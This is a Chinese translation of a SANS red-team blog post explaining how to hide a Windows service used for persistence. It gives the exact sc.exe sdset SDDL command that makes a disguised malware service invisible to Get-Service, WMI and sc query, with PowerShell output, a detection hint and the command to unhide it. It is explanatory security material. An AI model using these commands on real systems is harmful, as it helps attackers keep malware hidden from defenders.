首页 >> 网络安全 >>系统安全 >> 红队策略:隐藏Windows服务
详细内容

红队策略:隐藏Windows服务

时间:2020-10-21     作者:Joshua Wright   阅读

Windows的一个鲜为人知的功能允许红色团队或攻击者将服务隐藏在视线之外,从而有机会规避基于主机的常见威胁搜寻技术的检测。

在最近的一次红队交锋中,我的球队与一些训练有素,经验丰富的后卫对抗。我们构建了自定义恶意软件来逃避预期的EDR平台,但我们知道主机分析最终将使我们陷入困境,并迅速从目标组织中撤离。

PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

在记下几个高级威胁组的注释后,我们将使用可能会被忽略的通用服务名称尝试混合到系统中,同时保持对主机的持久性。在这里,SWCUEngine是我们的恶意软件几乎是伪装为AVAST软件清理引擎。尽管这可以免去随意检查,但在防御者积极寻找红队存在的演习中,这很可能会使我们陷入困境。

因此,我们决定增加一些额外的难度。

PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

Windows服务支持使用服务描述符定义语言(SDDL)控制服务权限的功能作为管理员,我们通常不必手动更改服务权限的SDDL语法,但是通过精心的操作,攻击者可以将其存在的信息隐藏在正在运行的服务中。在此示例中,冒名顶替者SWCUEngine服务对于蓝队防御者几乎变得不可见。

SDDL语法有点笨拙,但分为以下元素:

D: - Set the Discretionary ACL (DACL) permissions on the service
(D;;DCLCWPDTSD;;;IU) - Deny Interactive Users the following permissions:
  DC - Delete Child
  LC - List Children
  WP - Write Property
  DT - Delete Tree
  SD - Service Delete

服务(SU)和管理员(BA也重复此SDDL块A(允许)权限,继承服务的默认权限。特别感谢Wayne Martin 和Harry Johnston撰写的有关解码SDDL权限的文章。

通过对服务进行此更改,持久性机制对于防御者是隐藏的。无论是services.exeGet-Servicesc query或任何其他服务的控制工具,我知道将枚举隐藏的服务。

PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32

如果防御者事先知道该服务的名称,他们可以通过尝试停止该服务来识别该服务的存在。在此示例中,该服务JoshNoSuchService不存在,但SWCUEngine存在并且被隐藏:

PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand

PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set-Service],
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand

如果您知道隐藏的服务的名称,则可以再次取消隐藏它:

PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

在红色团队中,这可能是一种有用的技术,可以保持对受感染主机的持久性。重新启动后,隐藏的服务也会自动启动。

在下一篇文章中,我的同事和值得信赖的国防分析师Jon Gorenflo将提出用于检测和枚举的国防选项。敬请关注!

本文翻译自:https://www.sans.org/blog/red-team-tactics-hiding-windows-services/

.
更多

1589982338979126.png


ots网络社区

www.ots-sec.cn

联系方式
更多

投稿邮箱:1481840992@qq.com

交流群2群:622534175

ots网络社区3群:1078548359

关注我们
更多
技术支持: 建站ABC | 管理登录